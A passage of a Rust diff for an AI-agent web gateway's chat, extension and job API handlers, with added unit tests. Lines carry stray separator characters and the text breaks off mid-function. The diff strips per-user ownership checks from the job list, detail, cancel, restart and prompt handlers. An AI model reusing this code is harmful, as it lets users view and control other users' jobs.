let resp = app.oneshot(req).await.unwrap();
|
||||
assert_eq!(resp.status(), StatusCode::UNAUTHORIZED);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -14,6 +14,7 @@ use uuid::Uuid;
|
||||
use crate::channels::IncomingMessage;
|
||||
use crate::channels::web::server::GatewayState;
|
||||
use crate::channels::web::types::*;
|
||||
use crate::channels::web::util::{build_turns_from_db_messages, truncate_preview};
|
||||
|
||||
pub async fn chat_send_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
@@ -317,12 +318,13 @@ pub async fn chat_history_handler(
|
||||
turns,
|
||||
has_more,
|
||||
oldest_timestamp,
|
||||
pending_approval: None,
|
||||
}));
|
||||
}
|
||||
|
||||
// Try in-memory first (freshest data for active threads)
|
||||
if let Some(thread) = sess.threads.get(&thread_id)
|
||||
&& !thread.turns.is_empty()
|
||||
&& (!thread.turns.is_empty() || thread.pending_approval.is_some())
|
||||
{
|
||||
let turns: Vec<TurnInfo> = thread
|
||||
.turns
|
||||
@@ -341,16 +343,35 @@ pub async fn chat_history_handler(
|
||||
name: tc.name.clone(),
|
||||
has_result: tc.result.is_some(),
|
||||
has_error: tc.error.is_some(),
|
||||
result_preview: tc.result.as_ref().map(|r| {
|
||||
let s = match r {
|
||||
serde_json::Value::String(s) => s.clone(),
|
||||
other => other.to_string(),
|
||||
};
|
||||
truncate_preview(&s, 500)
|
||||
}),
|
||||
error: tc.error.clone(),
|
||||
})
|
||||
.collect(),
|
||||
})
|
||||
.collect();
|
||||
|
||||
let pending_approval = thread
|
||||
.pending_approval
|
||||
.as_ref()
|
||||
.map(|pa| PendingApprovalInfo {
|
||||
request_id: pa.request_id.to_string(),
|
||||
tool_name: pa.tool_name.clone(),
|
||||
description: pa.description.clone(),
|
||||
parameters: serde_json::to_string_pretty(&pa.parameters).unwrap_or_default(),
|
||||
});
|
||||
|
||||
return Ok(Json(HistoryResponse {
|
||||
thread_id,
|
||||
turns,
|
||||
has_more: false,
|
||||
oldest_timestamp: None,
|
||||
pending_approval,
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -369,6 +390,7 @@ pub async fn chat_history_handler(
|
||||
turns,
|
||||
has_more,
|
||||
oldest_timestamp,
|
||||
pending_approval: None,
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -379,51 +401,10 @@ pub async fn chat_history_handler(
|
||||
turns: Vec::new(),
|
||||
has_more: false,
|
||||
oldest_timestamp: None,
|
||||
pending_approval: None,
|
||||
}))
|
||||
}
|
||||
|
||||
/// Build TurnInfo pairs from flat DB messages (alternating user/assistant).
|
||||
pub fn build_turns_from_db_messages(
|
||||
messages: &[crate::history::ConversationMessage],
|
||||
) -> Vec<TurnInfo> {
|
||||
let mut turns = Vec::new();
|
||||
let mut turn_number = 0;
|
||||
let mut iter = messages.iter().peekable();
|
||||
|
||||
while let Some(msg) = iter.next() {
|
||||
if msg.role == "user" {
|
||||
let mut turn = TurnInfo {
|
||||
turn_number,
|
||||
user_input: msg.content.clone(),
|
||||
response: None,
|
||||
state: "Completed".to_string(),
|
||||
started_at: msg.created_at.to_rfc3339(),
|
||||
completed_at: None,
|
||||
tool_calls: Vec::new(),
|
||||
};
|
||||
|
||||
// Check if next message is an assistant response
|
||||
if let Some(next) = iter.peek()
|
||||
&& next.role == "assistant"
|
||||
{
|
||||
let assistant_msg = iter.next().expect("peeked");
|
||||
turn.response = Some(assistant_msg.content.clone());
|
||||
turn.completed_at = Some(assistant_msg.created_at.to_rfc3339());
|
||||
}
|
||||
|
||||
// Incomplete turn (user message without response)
|
||||
if turn.response.is_none() {
|
||||
turn.state = "Failed".to_string();
|
||||
}
|
||||
|
||||
turns.push(turn);
|
||||
turn_number += 1;
|
||||
}
|
||||
}
|
||||
|
||||
turns
|
||||
}
|
||||
|
||||
pub async fn chat_threads_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
) -> Result<Json<ThreadListResponse>, (StatusCode, String)> {
|
||||
@@ -454,7 +435,7 @@ pub async fn chat_threads_handler(
|
||||
let info = ThreadInfo {
|
||||
id: s.id,
|
||||
state: "Idle".to_string(),
|
||||
turn_count: (s.message_count / 2).max(0) as usize,
|
||||
turn_count: s.message_count.max(0) as usize,
|
||||
created_at: s.started_at.to_rfc3339(),
|
||||
updated_at: s.last_activity.to_rfc3339(),
|
||||
title: s.title.clone(),
|
||||
@@ -630,4 +611,105 @@ mod tests {
|
||||
assert!(turns[1].response.is_none());
|
||||
assert_eq!(turns[1].state, "Failed");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_with_tool_calls() {
|
||||
let now = chrono::Utc::now();
|
||||
let tool_calls_json = serde_json::json!([
|
||||
{"name": "shell", "result_preview": "file1.txt\nfile2.txt"},
|
||||
{"name": "http", "error": "timeout"}
|
||||
]);
|
||||
let messages = vec![
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "user".to_string(),
|
||||
content: "List files".to_string(),
|
||||
created_at: now,
|
||||
},
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "tool_calls".to_string(),
|
||||
content: tool_calls_json.to_string(),
|
||||
created_at: now + chrono::TimeDelta::milliseconds(500),
|
||||
},
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "assistant".to_string(),
|
||||
content: "Here are the files".to_string(),
|
||||
created_at: now + chrono::TimeDelta::seconds(1),
|
||||
},
|
||||
];
|
||||
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert_eq!(turns[0].tool_calls.len(), 2);
|
||||
assert_eq!(turns[0].tool_calls[0].name, "shell");
|
||||
assert!(turns[0].tool_calls[0].has_result);
|
||||
assert!(!turns[0].tool_calls[0].has_error);
|
||||
assert_eq!(
|
||||
turns[0].tool_calls[0].result_preview.as_deref(),
|
||||
Some("file1.txt\nfile2.txt")
|
||||
);
|
||||
assert_eq!(turns[0].tool_calls[1].name, "http");
|
||||
assert!(turns[0].tool_calls[1].has_error);
|
||||
assert_eq!(turns[0].tool_calls[1].error.as_deref(), Some("timeout"));
|
||||
assert_eq!(turns[0].response.as_deref(), Some("Here are the files"));
|
||||
assert_eq!(turns[0].state, "Completed");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_with_malformed_tool_calls() {
|
||||
let now = chrono::Utc::now();
|
||||
let messages = vec![
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "user".to_string(),
|
||||
content: "Hello".to_string(),
|
||||
created_at: now,
|
||||
},
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "tool_calls".to_string(),
|
||||
content: "not valid json".to_string(),
|
||||
created_at: now + chrono::TimeDelta::milliseconds(500),
|
||||
},
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "assistant".to_string(),
|
||||
content: "Done".to_string(),
|
||||
created_at: now + chrono::TimeDelta::seconds(1),
|
||||
},
|
||||
];
|
||||
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert!(turns[0].tool_calls.is_empty());
|
||||
assert_eq!(turns[0].response.as_deref(), Some("Done"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_build_turns_backward_compatible_no_tool_calls() {
|
||||
// Old threads without tool_calls messages still work
|
||||
let now = chrono::Utc::now();
|
||||
let messages = vec![
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "user".to_string(),
|
||||
content: "Hello".to_string(),
|
||||
created_at: now,
|
||||
},
|
||||
crate::history::ConversationMessage {
|
||||
id: Uuid::new_v4(),
|
||||
role: "assistant".to_string(),
|
||||
content: "Hi!".to_string(),
|
||||
created_at: now + chrono::TimeDelta::seconds(1),
|
||||
},
|
||||
];
|
||||
|
||||
let turns = build_turns_from_db_messages(&messages);
|
||||
assert_eq!(turns.len(), 1);
|
||||
assert!(turns[0].tool_calls.is_empty());
|
||||
assert_eq!(turns[0].response.as_deref(), Some("Hi!"));
|
||||
assert_eq!(turns[0].state, "Completed");
|
||||
}
|
||||
}
|
||||
|
||||
@@ -33,7 +33,7 @@ pub async fn extensions_list_handler(
|
||||
"failed".to_string()
|
||||
} else if !ext.authenticated {
|
||||
"installed".to_string()
|
||||
} else if ext.active && ext.name == "telegram" {
|
||||
} else if ext.active {
|
||||
let has_paired = pairing_store
|
||||
.read_allow_from(&ext.name)
|
||||
.map(|list| !list.is_empty())
|
||||
@@ -51,6 +51,7 @@ pub async fn extensions_list_handler(
|
||||
};
|
||||
ExtensionInfo {
|
||||
name: ext.name,
|
||||
display_name: ext.display_name,
|
||||
kind: ext.kind.to_string(),
|
||||
description: ext.description,
|
||||
url: ext.url,
|
||||
@@ -58,6 +59,7 @@ pub async fn extensions_list_handler(
|
||||
active: ext.active,
|
||||
tools: ext.tools,
|
||||
needs_setup: ext.needs_setup,
|
||||
has_auth: ext.has_auth,
|
||||
activation_status,
|
||||
activation_error: ext.activation_error,
|
||||
}
|
||||
@@ -122,7 +124,11 @@ pub async fn extensions_activate_handler(
|
||||
))?;
|
||||
|
||||
match ext_mgr.activate(&name).await {
|
||||
Ok(result) => Ok(Json(ActionResponse::ok(result.message))),
|
||||
Ok(result) => {
|
||||
// Activation just loads the WASM module. Auth (OAuth/manual) is
|
||||
// triggered separately via save_setup_secrets or the auth endpoint.
|
||||
Ok(Json(ActionResponse::ok(result.message)))
|
||||
}
|
||||
Err(activate_err) => {
|
||||
let err_str = activate_err.to_string();
|
||||
let needs_auth = err_str.contains("authentication")
|
||||
|
||||
+347
-177
@@ -1,5 +1,6 @@
|
||||
//! Job and sandbox API handlers.
|
||||
|
||||
use std::collections::HashSet;
|
||||
use std::sync::Arc;
|
||||
|
||||
use axum::{
|
||||
@@ -21,32 +22,55 @@ pub async fn jobs_list_handler(
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
// Fetch sandbox jobs scoped to the authenticated user.
|
||||
let sandbox_jobs = store
|
||||
.list_sandbox_jobs_for_user(&state.user_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
let mut jobs: Vec<JobInfo> = Vec::new();
|
||||
let mut seen_ids: HashSet<Uuid> = HashSet::new();
|
||||
|
||||
// Scope jobs to the authenticated user.
|
||||
let mut jobs: Vec<JobInfo> = sandbox_jobs
|
||||
.iter()
|
||||
.filter(|j| j.user_id == state.user_id)
|
||||
.map(|j| {
|
||||
let ui_state = match j.status.as_str() {
|
||||
"creating" => "pending",
|
||||
"running" => "in_progress",
|
||||
s => s,
|
||||
};
|
||||
JobInfo {
|
||||
id: j.id,
|
||||
title: j.task.clone(),
|
||||
state: ui_state.to_string(),
|
||||
user_id: j.user_id.clone(),
|
||||
created_at: j.created_at.to_rfc3339(),
|
||||
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
||||
// Fetch sandbox jobs from database.
|
||||
match store.list_sandbox_jobs().await {
|
||||
Ok(sandbox_jobs) => {
|
||||
for j in &sandbox_jobs {
|
||||
let ui_state = match j.status.as_str() {
|
||||
"creating" => "pending",
|
||||
"running" => "in_progress",
|
||||
s => s,
|
||||
};
|
||||
seen_ids.insert(j.id);
|
||||
jobs.push(JobInfo {
|
||||
id: j.id,
|
||||
title: j.task.clone(),
|
||||
state: ui_state.to_string(),
|
||||
user_id: j.user_id.clone(),
|
||||
created_at: j.created_at.to_rfc3339(),
|
||||
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
||||
});
|
||||
}
|
||||
})
|
||||
.collect();
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to list sandbox jobs: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Fetch agent (non-sandbox) jobs from database, deduplicating by ID.
|
||||
match store.list_agent_jobs().await {
|
||||
Ok(agent_jobs) => {
|
||||
for j in &agent_jobs {
|
||||
if seen_ids.contains(&j.id) {
|
||||
continue;
|
||||
}
|
||||
jobs.push(JobInfo {
|
||||
id: j.id,
|
||||
title: j.title.clone(),
|
||||
state: j.status.clone(),
|
||||
user_id: j.user_id.clone(),
|
||||
created_at: j.created_at.to_rfc3339(),
|
||||
started_at: j.started_at.map(|dt| dt.to_rfc3339()),
|
||||
});
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to list agent jobs: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Most recent first.
|
||||
jobs.sort_by(|a, b| b.created_at.cmp(&a.created_at));
|
||||
@@ -62,18 +86,49 @@ pub async fn jobs_summary_handler(
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
let s = store
|
||||
.sandbox_job_summary_for_user(&state.user_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
let mut total = 0;
|
||||
let mut pending = 0;
|
||||
let mut in_progress = 0;
|
||||
let mut completed = 0;
|
||||
let mut failed = 0;
|
||||
let mut stuck = 0;
|
||||
|
||||
// Sandbox job counts.
|
||||
match store.sandbox_job_summary().await {
|
||||
Ok(s) => {
|
||||
total += s.total;
|
||||
pending += s.creating;
|
||||
in_progress += s.running;
|
||||
completed += s.completed;
|
||||
failed += s.failed + s.interrupted;
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to fetch sandbox job summary: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
// Agent job counts.
|
||||
match store.agent_job_summary().await {
|
||||
Ok(s) => {
|
||||
total += s.total;
|
||||
pending += s.pending;
|
||||
in_progress += s.in_progress;
|
||||
completed += s.completed;
|
||||
failed += s.failed;
|
||||
stuck += s.stuck;
|
||||
}
|
||||
Err(e) => {
|
||||
tracing::warn!("Failed to fetch agent job summary: {}", e);
|
||||
}
|
||||
}
|
||||
|
||||
Ok(Json(JobSummaryResponse {
|
||||
total: s.total,
|
||||
pending: s.creating,
|
||||
in_progress: s.running,
|
||||
completed: s.completed,
|
||||
failed: s.failed + s.interrupted,
|
||||
stuck: 0,
|
||||
total,
|
||||
pending,
|
||||
in_progress,
|
||||
completed,
|
||||
failed,
|
||||
stuck,
|
||||
}))
|
||||
}
|
||||
|
||||
@@ -81,16 +136,16 @@ pub async fn jobs_detail_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
) -> Result<Json<JobDetailResponse>, (StatusCode, String)> {
|
||||
let store = state.store.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
|
||||
let job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Try sandbox job from DB first, scoped to the authenticated user.
|
||||
if let Some(ref store) = state.store
|
||||
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
||||
{
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
// Try sandbox job from DB first.
|
||||
if let Ok(Some(job)) = store.get_sandbox_job(job_id).await {
|
||||
let browse_id = std::path::Path::new(&job.project_dir)
|
||||
.file_name()
|
||||
.map(|n| n.to_string_lossy().to_string())
|
||||
@@ -126,6 +181,9 @@ pub async fn jobs_detail_handler(
|
||||
});
|
||||
}
|
||||
|
||||
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
|
||||
let is_claude_code = mode.as_deref() == Some("claude_code");
|
||||
|
||||
return Ok(Json(JobDetailResponse {
|
||||
id: job.id,
|
||||
title: job.task.clone(),
|
||||
@@ -138,11 +196,44 @@ pub async fn jobs_detail_handler(
|
||||
elapsed_secs,
|
||||
project_dir: Some(job.project_dir.clone()),
|
||||
browse_url: Some(format!("/projects/{}/", browse_id)),
|
||||
job_mode: {
|
||||
let mode = store.get_sandbox_job_mode(job.id).await.ok().flatten();
|
||||
mode.filter(|m| m != "worker")
|
||||
},
|
||||
job_mode: mode.filter(|m| m != "worker"),
|
||||
transitions,
|
||||
can_restart: state.job_manager.is_some(),
|
||||
can_prompt: is_claude_code && state.prompt_queue.is_some(),
|
||||
job_kind: Some("sandbox".to_string()),
|
||||
}));
|
||||
}
|
||||
|
||||
// Fall back to agent job from DB.
|
||||
if let Ok(Some(ctx)) = store.get_job(job_id).await {
|
||||
let elapsed_secs = ctx.started_at.map(|start| {
|
||||
let end = ctx.completed_at.unwrap_or_else(chrono::Utc::now);
|
||||
(end - start).num_seconds().max(0) as u64
|
||||
});
|
||||
|
||||
// Only show prompt bar for jobs that have a running worker (Pending/InProgress).
|
||||
// Stuck jobs have no active worker loop, so messages would be silently dropped.
|
||||
let is_promptable = matches!(
|
||||
ctx.state,
|
||||
crate::context::JobState::Pending | crate::context::JobState::InProgress
|
||||
);
|
||||
return Ok(Json(JobDetailResponse {
|
||||
id: ctx.job_id,
|
||||
title: ctx.title.clone(),
|
||||
description: ctx.description.clone(),
|
||||
state: ctx.state.to_string(),
|
||||
user_id: ctx.user_id.clone(),
|
||||
created_at: ctx.created_at.to_rfc3339(),
|
||||
started_at: ctx.started_at.map(|dt| dt.to_rfc3339()),
|
||||
completed_at: ctx.completed_at.map(|dt| dt.to_rfc3339()),
|
||||
elapsed_secs,
|
||||
project_dir: None,
|
||||
browse_url: None,
|
||||
job_mode: None,
|
||||
transitions: Vec::new(),
|
||||
can_restart: state.scheduler.is_some(),
|
||||
can_prompt: is_promptable && state.scheduler.is_some(),
|
||||
job_kind: Some("agent".to_string()),
|
||||
}));
|
||||
}
|
||||
|
||||
@@ -156,13 +247,10 @@ pub async fn jobs_cancel_handler(
|
||||
let job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Try sandbox job cancellation, scoped to the authenticated user.
|
||||
// Try sandbox job cancellation.
|
||||
if let Some(ref store) = state.store
|
||||
&& let Ok(Some(job)) = store.get_sandbox_job(job_id).await
|
||||
{
|
||||
if job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
if job.status == "running" || job.status == "creating" {
|
||||
// Stop the container if we have a job manager.
|
||||
if let Some(ref jm) = state.job_manager
|
||||
@@ -188,6 +276,26 @@ pub async fn jobs_cancel_handler(
|
||||
})));
|
||||
}
|
||||
|
||||
// Fall back to agent job cancellation via DB status update.
|
||||
if let Some(ref store) = state.store
|
||||
&& let Ok(Some(job)) = store.get_job(job_id).await
|
||||
{
|
||||
if job.state.is_active() {
|
||||
store
|
||||
.update_job_status(
|
||||
job_id,
|
||||
crate::context::JobState::Cancelled,
|
||||
Some("Cancelled by user"),
|
||||
)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
}
|
||||
return Ok(Json(serde_json::json!({
|
||||
"status": "cancelled",
|
||||
"job_id": job_id,
|
||||
})));
|
||||
}
|
||||
|
||||
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
||||
}
|
||||
|
||||
@@ -199,127 +307,168 @@ pub async fn jobs_restart_handler(
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Database not available".to_string(),
|
||||
))?;
|
||||
let jm = state.job_manager.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Sandbox not enabled".to_string(),
|
||||
))?;
|
||||
|
||||
let old_job_id = Uuid::parse_str(&id)
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
let old_job = store
|
||||
.get_sandbox_job(old_job_id)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?
|
||||
.ok_or((StatusCode::NOT_FOUND, "Job not found".to_string()))?;
|
||||
// Try sandbox job restart first.
|
||||
if let Ok(Some(old_job)) = store.get_sandbox_job(old_job_id).await {
|
||||
if old_job.status != "interrupted" && old_job.status != "failed" {
|
||||
return Err((
|
||||
StatusCode::CONFLICT,
|
||||
format!("Cannot restart job in state '{}'", old_job.status),
|
||||
));
|
||||
}
|
||||
|
||||
// Scope to the authenticated user.
|
||||
if old_job.user_id != state.user_id {
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
let jm = state.job_manager.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Sandbox not enabled".to_string(),
|
||||
))?;
|
||||
|
||||
if old_job.status != "interrupted" && old_job.status != "failed" {
|
||||
return Err((
|
||||
StatusCode::CONFLICT,
|
||||
format!("Cannot restart job in state '{}'", old_job.status),
|
||||
));
|
||||
}
|
||||
|
||||
// Create a new job with the same task and project_dir.
|
||||
let new_job_id = Uuid::new_v4();
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
let record = crate::history::SandboxJobRecord {
|
||||
id: new_job_id,
|
||||
task: old_job.task.clone(),
|
||||
status: "creating".to_string(),
|
||||
user_id: old_job.user_id.clone(),
|
||||
project_dir: old_job.project_dir.clone(),
|
||||
success: None,
|
||||
failure_reason: None,
|
||||
created_at: now,
|
||||
started_at: None,
|
||||
completed_at: None,
|
||||
credential_grants_json: old_job.credential_grants_json.clone(),
|
||||
};
|
||||
store
|
||||
.save_sandbox_job(&record)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
// Look up the original job's mode so the restart uses the same mode.
|
||||
let mode = match store.get_sandbox_job_mode(old_job_id).await {
|
||||
Ok(Some(m)) if m == "claude_code" => crate::orchestrator::job_manager::JobMode::ClaudeCode,
|
||||
_ => crate::orchestrator::job_manager::JobMode::Worker,
|
||||
};
|
||||
|
||||
// Restore credential grants from the original job so the restarted container
|
||||
// has access to the same secrets.
|
||||
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
|
||||
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
|
||||
tracing::warn!(
|
||||
job_id = %old_job.id,
|
||||
"Failed to deserialize credential grants from stored job: {}. \
|
||||
Restarted job will have no credentials.",
|
||||
e
|
||||
);
|
||||
vec![]
|
||||
});
|
||||
|
||||
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
|
||||
let _token = jm
|
||||
.create_job(
|
||||
new_job_id,
|
||||
&old_job.task,
|
||||
Some(project_dir),
|
||||
mode,
|
||||
credential_grants,
|
||||
)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("Failed to create container: {}", e),
|
||||
// Enrich the task with failure context.
|
||||
let task = if let Some(ref reason) = old_job.failure_reason {
|
||||
format!(
|
||||
"Previous attempt failed: {}. Retry: {}",
|
||||
reason, old_job.task
|
||||
)
|
||||
})?;
|
||||
} else {
|
||||
old_job.task.clone()
|
||||
};
|
||||
|
||||
store
|
||||
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
let new_job_id = Uuid::new_v4();
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
Ok(Json(serde_json::json!({
|
||||
"status": "restarted",
|
||||
"old_job_id": old_job_id,
|
||||
"new_job_id": new_job_id,
|
||||
})))
|
||||
let record = crate::history::SandboxJobRecord {
|
||||
id: new_job_id,
|
||||
task: task.clone(),
|
||||
status: "creating".to_string(),
|
||||
user_id: old_job.user_id.clone(),
|
||||
project_dir: old_job.project_dir.clone(),
|
||||
success: None,
|
||||
failure_reason: None,
|
||||
created_at: now,
|
||||
started_at: None,
|
||||
completed_at: None,
|
||||
credential_grants_json: old_job.credential_grants_json.clone(),
|
||||
};
|
||||
store
|
||||
.save_sandbox_job(&record)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
let mode = match store.get_sandbox_job_mode(old_job_id).await {
|
||||
Ok(Some(m)) if m == "claude_code" => {
|
||||
crate::orchestrator::job_manager::JobMode::ClaudeCode
|
||||
}
|
||||
_ => crate::orchestrator::job_manager::JobMode::Worker,
|
||||
};
|
||||
|
||||
let credential_grants: Vec<crate::orchestrator::auth::CredentialGrant> =
|
||||
serde_json::from_str(&old_job.credential_grants_json).unwrap_or_else(|e| {
|
||||
tracing::warn!(
|
||||
job_id = %old_job.id,
|
||||
"Failed to deserialize credential grants from stored job: {}. \
|
||||
Restarted job will have no credentials.",
|
||||
e
|
||||
);
|
||||
vec![]
|
||||
});
|
||||
|
||||
let project_dir = std::path::PathBuf::from(&old_job.project_dir);
|
||||
let _token = jm
|
||||
.create_job(
|
||||
new_job_id,
|
||||
&task,
|
||||
Some(project_dir),
|
||||
mode,
|
||||
credential_grants,
|
||||
)
|
||||
.await
|
||||
.map_err(|e| {
|
||||
(
|
||||
StatusCode::INTERNAL_SERVER_ERROR,
|
||||
format!("Failed to create container: {}", e),
|
||||
)
|
||||
})?;
|
||||
|
||||
store
|
||||
.update_sandbox_job_status(new_job_id, "running", None, None, Some(now), None)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
return Ok(Json(serde_json::json!({
|
||||
"status": "restarted",
|
||||
"old_job_id": old_job_id,
|
||||
"new_job_id": new_job_id,
|
||||
})));
|
||||
}
|
||||
|
||||
// Try agent job restart: dispatch a new job via the scheduler.
|
||||
if let Ok(Some(old_job)) = store.get_job(old_job_id).await {
|
||||
if old_job.state.is_active() {
|
||||
return Err((
|
||||
StatusCode::CONFLICT,
|
||||
format!("Cannot restart job in state '{}'", old_job.state),
|
||||
));
|
||||
}
|
||||
|
||||
let slot = state.scheduler.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Scheduler not available".to_string(),
|
||||
))?;
|
||||
let scheduler_guard = slot.read().await;
|
||||
let scheduler = scheduler_guard.as_ref().ok_or((
|
||||
StatusCode::SERVICE_UNAVAILABLE,
|
||||
"Agent not started yet".to_string(),
|
||||
))?;
|
||||
|
||||
// Look up failure reason (O(1) point lookup).
|
||||
let failure_reason = store
|
||||
.get_agent_job_failure_reason(old_job_id)
|
||||
.await
|
||||
.ok()
|
||||
.flatten()
|
||||
.unwrap_or_default();
|
||||
|
||||
let title = if !failure_reason.is_empty() {
|
||||
format!(
|
||||
"Previous attempt failed: {}. Retry: {}",
|
||||
failure_reason, old_job.title
|
||||
)
|
||||
} else {
|
||||
old_job.title.clone()
|
||||
};
|
||||
|
||||
let new_job_id = scheduler
|
||||
.dispatch_job(&old_job.user_id, &title, &old_job.description, None)
|
||||
.await
|
||||
.map_err(|e| (StatusCode::INTERNAL_SERVER_ERROR, e.to_string()))?;
|
||||
|
||||
return Ok(Json(serde_json::json!({
|
||||
"status": "restarted",
|
||||
"old_job_id": old_job_id,
|
||||
"new_job_id": new_job_id,
|
||||
})));
|
||||
}
|
||||
|
||||
Err((StatusCode::NOT_FOUND, "Job not found".to_string()))
|
||||
}
|
||||
|
||||
/// Submit a follow-up prompt to a running Claude Code sandbox job.
|
||||
/// Submit a follow-up prompt to a running job.
|
||||
///
|
||||
/// Routes to the appropriate backend:
|
||||
/// - Claude Code sandbox jobs → prompt queue (polled by the bridge)
|
||||
/// - Agent (non-sandbox) jobs → WorkerMessage injection via scheduler
|
||||
/// - Worker-mode sandbox jobs → not supported (no mechanism to inject)
|
||||
pub async fn jobs_prompt_handler(
|
||||
State(state): State<Arc<GatewayState>>,
|
||||
Path(id): Path<String>,
|
||||
Json(body): Json<serde_json::Value>,
|
||||
) -> Result<Json<serde_json::Value>, (StatusCode, String)> {
|
||||
let prompt_queue = state.prompt_queue.as_ref().ok_or((
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"Claude Code not configured".to_string(),
|
||||
))?;
|
||||
|
||||
let job_id: uuid::Uuid = id
|
||||
.parse()
|
||||
.map_err(|_| (StatusCode::BAD_REQUEST, "Invalid job ID".to_string()))?;
|
||||
|
||||
// Verify user owns this job.
|
||||
if let Some(ref store) = state.store
|
||||
&& !store
|
||||
.sandbox_job_belongs_to_user(job_id, &state.user_id)
|
||||
.await
|
||||
.unwrap_or(false)
|
||||
{
|
||||
return Err((StatusCode::NOT_FOUND, "Job not found".to_string()));
|
||||
}
|
||||
|
||||
let content = body
|
||||
.get("content")
|
||||
.and_then(|v| v.as_str())
|
||||
@@ -331,17 +480,57 @@ pub async fn jobs_prompt_handler(
|
||||
|
||||
let done = body.get("done").and_then(|v| v.as_bool()).unwrap_or(false);
|
||||
|
||||
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
|
||||
|
||||
// Try sandbox job path: check if we have a sandbox record for this ID.
|
||||
if let Some(ref s) = state.store
|
||||
&& let Ok(Some(_)) = s.get_sandbox_job(job_id).await
|
||||
{
|
||||
let mut queue = prompt_queue.lock().await;
|
||||
queue.entry(job_id).or_default().push_back(prompt);
|
||||
// It's a sandbox job. Check if Claude Code mode.
|
||||
let mode = s.get_sandbox_job_mode(job_id).await.ok().flatten();
|
||||
if mode.as_deref() == Some("claude_code") {
|
||||
let prompt_queue = state.prompt_queue.as_ref().ok_or((
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"Claude Code not configured".to_string(),
|
||||
))?;
|
||||
let prompt = crate::orchestrator::api::PendingPrompt { content, done };
|
||||
{
|
||||
